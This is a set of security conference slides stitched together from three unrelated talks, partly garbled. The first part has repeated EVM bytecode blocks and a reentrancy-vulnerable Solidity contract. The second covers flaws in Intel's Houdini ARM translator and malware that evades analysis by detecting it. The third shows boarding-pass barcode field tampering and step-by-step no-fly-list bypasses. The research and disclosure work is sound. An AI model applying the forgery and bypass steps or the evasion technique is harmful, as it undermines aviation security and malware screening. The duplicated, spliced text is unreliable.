0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Code Analysis – Vulnerable Contract contract SendBalance { mapping ( address => uint ) userBalances ; bool withdrawn = false ; function getBalance (address u) constant returns ( uint ){ return userBalances [u]; } function addToBalance () { userBalances[msg.sender] += msg.value ; } function withdrawBalance (){ if (!(msg.sender.call.value( userBalances [msg.sender])())) { throw ; } userBalances [msg.sender] = 0; } } Code Analysis – Vulnerable Contract contract SendBalance { mapping ( address => uint ) userBalances ; bool withdrawn = false ; function getBalance (address u) constant returns ( uint ){ return userBalances [u]; } function addToBalance () { userBalances[msg.sender] += msg.value ; } function withdrawBalance (){ if (!(msg.sender.call.value( userBalances [msg.sender])())) { throw ; } userBalances [msg.sender] = 0; } } Caller contract can recall this function using its fallback function Understanding the control flow In the case of reentrant vulnerability, since we can record the EVM state at each instruction using porosity. We can track in which basic block SSTORE instructions are called. userBalances [msg.sender] = 0; And track states for each basic block. .\demo.ps1 $porosity = 'E:\projects\porosity\Debug\porosity.exe' $abi = '[{\"constant\":false,\"inputs\":[],\"name\":\"withdrawBalance\",\"outputs\":[],\"ty pe\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"addToBalance\",\"out puts\":[],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"u\",\"ty pe\":\"address\"}],\"name\":\"getBalance\",\"outputs\":[{\"name\":\"\",\"type\":\"ui nt256\"}],\"type\":\"function\"}]' $code = '60606040526000357c01000000000000000000000000000000000000000000000000000000009004806 35fd8c7101461004f578063c0e317fb1461005e578063f8b2cb4f1461006d5761004d565b005b61005c6 004805050610099565b005b61006b600480505061013e565b005b6100836004808035906020019091905 05061017d565b6040518082815260200191505060405180910390f35b3373fffffffffffffffffffffff fffffffffffffffff16611111600060005060003373ffffffffffffffffffffffffffffffffffffffff1 6815260200190815260200160002060005054604051809050600060405180830381858888f1935050505 0151561010657610002565b6000600060005060003373fffffffffffffffffffffffffffffffffffffff f168152602001908152602001600020600050819055505b565b34600060005060003373fffffffffffff fffffffffffffffffffffffffff168152602001908152602001600020600082828250540192505081905 5505b565b6000600060005060008373ffffffffffffffffffffffffffffffffffffffff1681526020019 081526020016000206000505490506101b6565b91905056’ & $porosity --abi $abi --runtime-code $code --decompile --verbose 0 Known class of bugs Reentrant Vulnerabilities / Race Condition Famously known because of the $50M USD DAO hack (2016) [8] Call Stack Vulnerabilities Got 1024 frames but a bug ain’t one – c.f. Least Authority [12] Time Dependency Vulnerabilities @mhswende blogposts are generally awesome, particularly the roulette one [10] Future Ethereum DApps created a new segment for softwares. Porosity Improving support for conditional and loop statements Ethereum / Solidity & Security Fast growing community and more tools such as OYENTE or Porosity Personally, looking forward seeing the Underhanded Solidity Coding Contest [10] results Interesting projects on Quorum [14] which adds a privacy layer to the blockchain. Pretty big move as it’s a strong requirement for Enterprise Blockchain. EVM vulnerabilities triggered by malicious bytecode? CLOUDBURST on the blockchain More Blockchain VMs ? References [1] Woods, Gavin. "Ethereum: A Secure Decentralised Generalised Transaction Ledger." Web. https://github.com/ethereum/yellowpaper.pdf [2] Olofsson, Andreas. "Solidity Workshop." Web. https://github.com/androlo/solidity-workshop [3] Olofsson, Andreas. "Solidity Contracts." Web. https://github.com/androlo/standard-contracts [4] Velner, Yarn, Jason Teutsch, and Loi Luu. "Smart Contracts Make Bitcoin Mining Pools Vulnerable." Web. https://eprint.iacr.org/2017/230.pdf [5] Luu, Loi, Duc-Hiep Chu, Hrishi Olickel, Aquinas Hobor. "Making Smart Contracts Smarter." Web. https://www.comp.nus.edu.sg/%7Ehobor/Publications/2016/Making%20Smart%20Contracts%20Smarter.pdf [6] Atzei, Nicola, Massimo Bartoletti, and Tiziana Cimoli. " A Survey of Attacks on Ethereum Smart Contracts." Web. https://eprint.iacr.org/2016/1007.pdf [7] Sarkar, Abhiroop. "Understanding the Transactional Nature of Smart-Contracts." Web. https://abhiroop.github.io/Exceptions-and-Transactions [8] Siegel, David. "Understanding The DAO Attack." Web. http://www.coindesk.com/understanding-dao-hack-journalists [9] Blockchain software for asset management. "OYENTE: An Analysis Tool for Smart Contracts." Web. https://github.com/melonproject/oyente [10] Holst Swende, Martin. “Breaking the house.“ Web. http://martin.swende.se/blog/Breaking_the_house.html [11] Buterin, Vitalik. "Thinking About Smart Contract Security.“Web. https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security [12] Least Authority. "Gas Economics: Call Stack Depth Limit Errors." Web. https://github.com/LeastAuthority/ethereum- analyses/blob/master/GasEcon.md#callstack-depth-limit-errors [13] Underhanded Solidity Coding Contest, Web. http://u.solidity.cc/ [14] Quorum. "A permissioned implementation of Ethereum supporting data privacy." https://github.com/jpmorganchase/quorum [email protected] / @msuiche https://github.com/comaeio/porosity
pdf
© NCC Group 2021. All rights reserved Sleight of ARM: Demystifying Intel Houdini Brian Hong @im_eningeer whoami © NCC Group 2021. All rights reserved Brian S. Hong (@im_eningeer) • Hardware Enthusiast • Forward Reverse Engineer • Like to reverse low-level stuff and break embedded systems • Android Penetration Testing • Security Consultant @ • Cooper Union Electrical Engineering Introduction — Android NDK © NCC Group 2021. All rights reserved 1 https://gs.statcounter.com/os-market-share/mobile/worldwide 2 https://www.android-x86.org/ • Android is the operating system powering 70%1 of the mobile devices • Android supports application development in Java and Kotlin, and additionally in native languages such as C and C++ through the Native Development Kit (NDK) • ARM is the main hardware platform for Android, with official support for x86 introduced in later versions – Android Lollipop (2014) • NDK r6 (2011) added support for x86 • NDK r10 (2014) added support for 64 bit ABIs, including x86_64 • There is also out-of-tree support for Android on x86 • Android-x86 (2011)2 Introduction — Android on x86 © NCC Group 2021. All rights reserved • Two main kinds of x86 devices running Android (neither of them are phones) • x86 Chromebooks • Commercial Android emulators on x86 hosts • x86 support is generally lacking across apps • ARM is the primary target platform • If shipping native code, the Play Store only requires ARM builds • Few developers end up shipping x86 binaries for their APKs, but many apps have native code • So then how are x86 Android devices supposed to support popular apps (optimized with native ARM code)? Houdini — What is it? © NCC Group 2021. All rights reserved • Intel’s proprietary dynamic binary translator from ARM to x86 • Co-created by Google for Android • Enables ARM native applications to run on x86 based platforms • A black box shrouded in mystery • Little mention of it on Intel’s websites, seemingly not a public-facing product • No public documentation • Several vendors may be obfuscating their use of Houdini? • There are three variants: • 32-bit x86 implementing 32-bit ARM • 64-bit x86 implementing 32-bit ARM • 64-bit x86 implementing 64-bit ARM Houdini — Where’s it used? © NCC Group 2021. All rights reserved • Physical hardware • x86-based mobile phones (e.g. Zenfone 2) • x86 Chromebooks • This is how we got it • Commercial Android Emulators • BlueStacks • NOX • Android-x86 Project Houdini — How’s it work? © NCC Group 2021. All rights reserved Interpreted emulator • Essentially a while loop around a switch (but actually more like a state machine) • Reads ARM opcodes and produces corresponding behavior in x86 • Doesn’t JIT; no x86 instructions produced at runtime Two components • houdini: interpreter used to run executable binaries • libhoudini: loadable shared object (x86); used to load and link ARM libraries ./houdini © NCC Group 2021. All rights reserved Runs ARM executable binaries (static and dynamic) • Uses dynamic libraries precompiled for ARM+Android from: • /system/lib/arm • /system/vendor/lib/arm • Loaded in by the Linux kernel binfmt_misc feature ./houdini — binfmt_misc © NCC Group 2021. All rights reserved 1 https://en.wikipedia.org/wiki/Binfmt_misc binfmt_misc (Miscellaneous Binary Format) is a capability of the Linux kernel which allows arbitrary executable file formats to be recognized and passed to certain user space applications, such as emulators and virtual machines. It is one of a number of binary format handlers in the kernel that are involved in preparing a user-space program to run. 1 ./hello -> /system/bin/houdini ./hello libhoudini.so © NCC Group 2021. All rights reserved • Is a shared object (x86) • Loads in ARM shared objects • Mainly designed to be used with Android NativeBridge to run ARM native code Android NativeBridge © NCC Group 2021. All rights reserved 1 Ye, Roger. Android System Programming: Porting, Customizing, and Debugging Android HAL. Packt Publishing, 2017. • Main interface from Android to libhoudini • Part of the Android Runtime (ART) • Supports running native libraries in different processor architectures 1 Android NativeBridge — Initialization © NCC Group 2021. All rights reserved • Initialized on boot by Android Runtime (ART) • NativeBridge reads system property ro.dalvik.vm.native.bridge • Disabled if set to ”0” • Otherwise, it provides the name of the library file to be loaded with NativeBridge (e.g ”libhoudini.so”) • Android-x86 project uses ”libnb.so” instead, which is a shim that loads libhoudini • NativeBridge defines interface with callbacks • NativeBridgeRuntimeCallbacks • NativeBridgeCallbacks Android NativeBridge — Java Native Interface (JNI) © NCC Group 2021. All rights reserved 1 https://android.googlesource.com/platform/libnativehelper/+/refs/heads/master/include_jni/jni.h The JNI is an FFI for calling between JVM code (e.g. Java) and native code (e.g. C/C++). Java native methods are mapped to native symbols. The native functions receive a JNIEnv* from the JVM, which is a bag of function pointers providing a low-level Java/JVM reflection API, including object allocation, class lookups, and method invocations. It also provides a type mapping between Java primitives and C types. typedef uint8_t jboolean; /* unsigned 8 bits */ typedef int8_t jbyte; /* signed 8 bits */ typedef uint16_t jchar; /* unsigned 16 bits */ typedef int32_t jint; /* signed 32 bits */ typedef int64_t jlong; /* signed 64 bits */ typedef const struct JNINativeInterface* JNIEnv; struct JNINativeInterface { ... jint (*GetVersion)(JNIEnv *); jclass (*DefineClass)(JNIEnv*, const char*... jclass (*FindClass)(JNIEnv*, const char*); ... jobject (*AllocObject)(JNIEnv*, jclass); jobject (*NewObject)(JNIEnv*, jclass, jmethodID... ... jmethodID (*GetStaticMethodID)(JNIEnv*, jclass... jobject (*CallObjectMethod)(JNIEnv*, jobject... jboolean (*CallBooleanMethod)(JNIEnv*, jobject... ... jbyte (*GetByteField)(JNIEnv*, jobject, jfieldID); jchar (*GetCharField)(JNIEnv*, jobject, jfieldID); jint (*GetIntField)(JNIEnv*, jobject, jfieldID); ... source1 Android NativeBridge — Callbacks © NCC Group 2021. All rights reserved 1 https://android.googlesource.com/platform/art/+/master/runtime/native_bridge_art_interface.cc NativeBridgeRuntimeCallbacks provide a way for native methods to call JNI native functions. NativeBridge -> libhoudini // Runtime interfaces to native bridge. struct NativeBridgeRuntimeCallbacks { // Get shorty of a Java method. const char* (*getMethodShorty)(JNIEnv* env, jmethodID mid); // Get number of native methods for specified class. uint32_t (*getNativeMethodCount)(JNIEnv* env, jclass clazz); // Get at most 'method_count' native methods // for specified class. uint32_t (*getNativeMethods)(JNIEnv* env, jclass clazz, JNINativeMethod* methods, uint32_t method_count); }; source1 Android NativeBridge — Interface © NCC Group 2021. All rights reserved 1 https://android.googlesource.com/platform/art/+/master/runtime/native_bridge_art_interface.cc NativeBridge can interact with libhoudini via NativeBridgeCallbacks Fetched from libhoudini via symbol NativeBridgeItf • initialize() • loadLibrary() "dlopen()" • getTrampoline() "dlsym()" // Native bridge interfaces to runtime. struct NativeBridgeCallbacks { uint32_t version; bool (*initialize)(const NativeBridgeRuntimeCallbacks* runtime_cbs, const char* private_dir, const char* instruction_set); void* (*loadLibrary)(const char* libpath, int flag); void* (*getTrampoline)(void* handle, const char* name, const char* shorty, uint32_t len); ... int (*unloadLibrary)(void* handle); void* (*loadLibraryExt)(const char* libpath, int flag, native_bridge_namespace_t* ns); }; source1 NativeBridge — Libhoudini $ objdump -T libhoudini.so libhoudini.so: file format elf32-i386 DYNAMIC SYMBOL TABLE: ... 004f8854 g DO .data 0000003c Base NativeBridgeItf NativeBridge — Summary • dlopen(libhoudini.so) • dlsym(NativeBridgeItf) • initialize() • loadLibrary() "dlopen()" • getTrampoline() "dlsym()" • Houdini provides a ARM version of JNIEnv • Handled via trap instructions Houdini Emulation — Memory © NCC Group 2021. All rights reserved • Dual architecture userland (separate ARM binaries; e.g. libc, etc.) • Shared virtual address space • Real world view of memory • Maintains a separate allocation for ARM stack 00008000-0000a000 rw-p 00000000 [anon:Mem_0x10000002] 0c000000-0c001000 r--p 00000000 /vendor/lib/arm/nb/libdl.so 0c001000-0c002000 r--p 00000000 /vendor/lib/arm/nb/libdl.so 0c200000-0c203000 r--p 00000000 /data/app/com.nccgroup.research.../lib/arm/libnative-lib.so 0c203000-0c204000 r--p 00002000 /data/app/com.nccgroup.research.../lib/arm/libnative-lib.so 0c204000-0c205000 rw-p 00003000 /data/app/com.nccgroup.research.../lib/arm/libnative-lib.so 0c500000-0c5d6000 r--p 00000000 /vendor/lib/arm/nb/libc.so 0c5d6000-0c5da000 r--p 000d5000 /vendor/lib/arm/nb/libc.so 0c5da000-0c5dc000 rw-p 000d9000 /vendor/lib/arm/nb/libc.so ... 0e094000-10000000 rwxp 00000000 [anon:Mem_0x20000000] 12000000-12100000 rwxp 00000000 [anon:Mem_0x10001000] 12100000-12122000 rw-p 00000000 [anon:Mem_0x10001000] 12153000-1218c000 rw-p 00000000 [anon:Mem_0x10001000] e5502000-e598d000 r-xp 00000000 /vendor/lib/libhoudini.so e598d000-e59bf000 r--p 0048a000 /vendor/lib/libhoudini.so e59bf000-e59ff000 rw-p 004bc000 /vendor/lib/libhoudini.so ecdb0000-eceaa000 r-xp 00000000 /system/lib/libc.so eceaa000-eceae000 r--p 000f9000 /system/lib/libc.so eceae000-eceb0000 rw-p 000fd000 /system/lib/libc.so ee0da000-ee0dc000 rwxp 00000000 [anon:Mem_0x10000000] ee1b5000-ee303000 r-xp 00000000 /system/bin/linker ee303000-ee309000 r--p 0014d000 /system/bin/linker ee309000-ee30a000 rw-p 00153000 /system/bin/linker ff26d000-ffa6c000 rw-p 00000000 [stack] Houdini Emulator — Execution • State machine (switch inside while loop), fetch/decode/dispatch shown below Houdini Emulator — Instruction Table © NCC Group 2021. All rights reserved Instruction bits 27-20 concatenated with bits 7-4 is used as the offset into the table uint32_t instruction = memory[state.pc]; uint8_t condition_code = instruction >> 24; if(condition_code != 0x0E) goto 0x3100AD; uint32_t offset = ((instruction >> 16) & 0xFF0) + \\ [20:27] ((instruction >> 4) & 0x00F); \\ [4:7] void **instruction_table = 0x4BB9C0; int (*instruction_handler)(uint32_t, struct proc_state*); instruction_handler = instruction_table[offset]; instruction_handler(instruction, state); Houdini Emulator — Processor State © NCC Group 2021. All rights reserved • Stores ARM registers, as well as other processor states /* Processor state of libhoudini's emulated ARM */ struct proc_state { unsigned int reg[16]; /* Register values for r0, r1, r2... */ unsigned char unk[300]; /* Unknown fields */ unsigned int isThumb; /* Whether in thumb mode or not */ unsigned int svcNumber; /* Pending SVC call number */ unsigned char unk2[40]; /* Unknown fields */ unsigned int pc8; /* PC + 8 */ unsigned int ldrstr; /* ?? (used for ldr/str instructions) */ unsigned char unk3[84]; /* Unknown fields */ }; • ARM registers can be read/written from both ARM and x86 Houdini Emulator — Syscall © NCC Group 2021. All rights reserved • ARM syscalls are handled by userland x86 code that issues x86 syscalls Houdini Emulator — fork(2)/clone(2) © NCC Group 2021. All rights reserved • Intercepted and reimplemented by Houdini • Houdini clones the process • The child process handles the child fork/clone logic • The parent process handles the fork/clone logic • clone(2) child_stack not passed to the kernel • Instead an empty RWX page is passed as child_stack Houdini Emulator — Detection © NCC Group 2021. All rights reserved Java architecture checking • System.getProperty("os.arch"); • /proc/cpuinfo Memory mapping checking • /proc/self/maps • Dual x86/ARM shared libraries Detection from noisy to quiet The best implementation is one that issues no otherwise discernable syscalls • JNIEnv magic pointer detection Houdini hides these System.getProperty("os.arch") -> armv7l $ cat /proc/cpuinfo Processor : ARMv8 processor rev 1 (aarch64) processor : 0 processor : 1 BogoMIPS : 24.00 Features : neon vfp half thumb fastmult edsp vfpv3 vfpv4 idiva idivt tls aes sha1 sha2 crc32 CPU implementer : 0x4e CPU architecture: 8 CPU variant : 0x02 CPU part : 0x000 CPU revision : 1 Hardware : placeholder Revision : 0000 Serial : 0000000000000000 Houdini Emulator — Escape to x86 © NCC Group 2021. All rights reserved • mprotect(2) + overwrite code • Not subtle • x86 stack manipulation • Find and clobber x86 stack with ROP payloads Security Concerns — RWX + Other Interesting Pages © NCC Group 2021. All rights reserved Multiple RWX • We can write x86 code to these pages and jump to it • Shared memory, which means we can write code from either x86/ARM ARM JNIEnv ARM stack 00008000-0000a000 rw-p [anon:Mem_0x10000002] 0e094000-10000000 rwxp [anon:Mem_0x20000000] 10000000-10003000 rw-p [anon:Mem_0x10002002] 10003000-10004000 ---p [anon:Mem_0x10002002] 10004000-10015000 rw-p [anon:Mem_0x10002002] 10015000-10016000 ---p [anon:Mem_0x10002002] ... 10128000-12000000 rw-p [anon:Mem_0x10002000] 12000000-12100000 rwxp [anon:Mem_0x10001000] 12100000-12122000 rw-p [anon:Mem_0x10001000] 1215a000-12193000 rw-p [anon:Mem_0x10001000] ca6e8000-ca6e9000 ---p [anon:Mem_0x10000004] ca6e9000-caae8000 rw-p [anon:Mem_0x10000004] caae8000-caae9000 ---p [anon:Mem_0x10000004] caae9000-cabe8000 rw-p [anon:Mem_0x10000004] ... e4f99000-e4f9a000 ---p [anon:Mem_0x10000004] e4f9a000-e4f9f000 rw-p [anon:Mem_0x10000004] e8cb4000-e8cb6000 rwxp [anon:Mem_0x10000000] Security Concerns — NX Ignored © NCC Group 2021. All rights reserved 1 https://en.wikipedia.org/wiki/NX_bit Houdini ignores the execute bit entirely • ARM libraries are loaded without the execute bit on their pages • No DEP/NX1 for ARM • Trivial to abuse (write to anywhere writable, and jump/return to it) Page Permissions — A Matter of Interpretation © NCC Group 2021. All rights reserved $ cat nx-stack.c #include<stdio.h> int main(){ unsigned int code[512] = {0}; code[0] = 0xE2800001; // add r0, r0, #1 code[1] = 0xE12FFF1E; // bx lr printf("code(1) returned: %d\n", ((int (*)(int))code)(1)); // Normally, this causes a segfault printf("code(5) returned: %d\n", ((int (*)(int))code)(5)); } $ arm-linux-gnueabi-gcc nx-stack.c -static -Wl,-z,noexecstack -o nx-stack-static $ file nx-stack-static nx-stack-static: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked 7323f32a36, for GNU/Linux 3.2.0, not stripped $ ./nx-stack-static code (1) returned: 2 code (5) returned: 6 © NCC Group 2021. All rights reserved DEMOS Libhoudini-aware Malware © NCC Group 2021. All rights reserved • App stores and security researchers often run apps in sandboxed environments to check for malicious behaviors • Mainly 3 different environments for running/analyzing apps • Real ARM devices • Fully virtualized ARM environment (like QEMU) • x86 Android emulators (VMs) • Apps that express different behaviors depending on which environment it is running on can, for example, be benign during analysis but malicious otherwise • Harder to detect • Inconsistent behavior is harder to analyze Libhoudini-aware Malware (cont’d) © NCC Group 2021. All rights reserved 1 Dissecting the Android Bouncer (Oberheide, J., & Miller, C. (2012, June). SummerCON, Brooklyn, New York) Using one of the detection methods discussed earlier, we can write JNI-loaded native Android code that does different things based on whether or not it is running through libhoudini • x86 Android emulator VMs, such as ones based on Android-x86, may use libhoudini for ARM compatibility • This is one possible approach used by app stores, so any form of fingerprinting can become a problem 1 • If you know that your apps are only going to be analyzed in such environments, you could key malicious behaviors to the lack of libhoudini Libhoudini-aware Malware (cont’d) © NCC Group 2021. All rights reserved Conversely, a malicious app could do bad things only when it detects the presence of libhoudini, then abuse libhoudini to further obfuscate itself • For example, while we don’t know what the Play Store actually uses these days, its automatic app testing did not appear to run ARM APKs on x86 with libhoudini Recommendations to Vendors and Platforms © NCC Group 2021. All rights reserved Drop RWX pages • Where necessary perform fine-grained page permission control Implement efficient NX/userland page table implementation • Checking page permissions for each instruction would incur significant overhead • Instead, keep track of mappings and permissions in-process • Perform checks if instruction is from different page than the previous instruction’s • e.g. jumps or serial instructions across a page boundary Use virtualization • And ensure that ASLR is implemented/used to protect sensitive structures Recommendations (cont’d) — Custom NX Validation © NCC Group 2021. All rights reserved This could be done in a couple of ways 1. Trust only ARM .so .text sections on load 2. Check /proc/self/maps on each ”new” page that hasn’t been added to the data structure 3. Instrument memory mapping-related syscalls (e.g. mmap, mprotect) to track page permissions An ideal solution combines 2 and 3, with the checks for 2 performed as a catch-all • Supports dynamic .so loading via dlopen(3) • Supports legitimate JITing • And removes JIT pages when cleared/reset/freed to prevent page reuse attacks This data structure acts as a page table and should be heavily protected (writeable only when being updated, surrounded by guard pages, not accessible to ARM, etc.) Recommendations (cont’d) © NCC Group 2021. All rights reserved For anyone doing analysis of Android applications • Dynamic analysis should also run apps through libhoudini • Static analysis should look for access to Houdini RWX pages and attempts to execute from non-executable pages • and anything scanning the JNIEnv function pointers Conclusion © NCC Group 2021. All rights reserved • Houdini introduces a number of security weaknesses into processes using it • Some of these impact the security of the emulated ARM code, while some also impact the security of host x86 code • These issues overall undermine core native code hardening • Houdini not being well-documented publicly nor easily accessible may have prevented wider security analysis and research into it that could have caught these issues earlier Disclosure — Timeline © NCC Group 2021. All rights reserved [04/24/21] Findings (discussed in this talk) sent to Intel PSIRT via [email protected] [05/05/21] Intel PSIRT confirms receipt of findings, and sends a few questions [05/07/21] NCC Group sends a response answering Intel's questions [05/07/21] Intel PSIRT confirms receipt of the additional information [05/17/21] Intel PSIRT provides an update that the product team is looking into the findings [06/25/21] Intel PSIRT provides an update that a fix release is planned for the end of July [07/16/21] Additional findings (not discussed in this talk) sent to Intel PSIRT [07/19/21] Intel PSIRT confirms receipt of the additional findings and that they will be sent to the Houdini team [07/21/21] NCC Group previews this talk for Intel PSIRT Big special thanks to... © NCC Group 2021. All rights reserved • Jeff Dileo • Jennifer Fernick • Effi Kishko © NCC Group 2021. All rights reserved Questions? [email protected] @im_eningeer
pdf
How to get good seats in the security theater? Hacking boarding passes for fun and profit Przemek Jaroszewski [email protected] $ whoami • head of the Polish national CSIRT (CERT Polska) • 10+ years of education in programming • Master’s degree in social psychology • 15 years of experience in IT security • aviation enthusiast, unrealized air traffic controller Up in the Air • FF miles are nice, but status in nicer Except when improvements don’t work… IATA Resolution 792 (2005) • Paper • PDF417 • Mobile • QR Code • Aztec • DataMatrix Bar-Coded Boarding Pass M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666C009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get? • Free Fast Track for all travellers M1COLUMBUS/CHRISTOPHERE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1COLUMBUS/CHRISTOPHERE56YYYY WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get? • Free Fast Track for all travelers => Sterile area access for all Wait, this is not news! • Bruce Schneier (2003): Flying On Someone Else’s Airplaine Ticket • shows how to work around no fly lists with print-at-home BPs • Andy Bowers (2005): Dangerous Loophole in Airport Security • Bruce Schneier (2006): The Boarding Pass Brouhaha • Christopher Soghoian (2007): Insecure Flight: Broken Boarding Passes and Ineffective Terrorist Watch Lists • Jeffrey Goldberg (2008): The Things He Carried • Charles C. Mann (2011): Smoke Screening • John Butler (2012): Security Flaws in the TSA Pre-Check System and the Boarding Pass Check System No Fly List Bypass (in 2003) • Buy tickets under false name • Print your boarding pass at home • Create a copy of the boarding pass with your real name • Present the fake boarding pass and the real ID to TSA officers • Present the real boarding pass to gate agents • Fly No Fly List Bypass (in 2016 Europe) • Buy tickets under false name • Print your boarding pass at home • Fly Impacting factors: • Particular airline’s business consciousness • Temporary security checks Source: r/MapPorn Source: IATA • NO integrity checks • NO authentication Source: IATA So… Where is passenger data stored? • Computer Reservation Systems 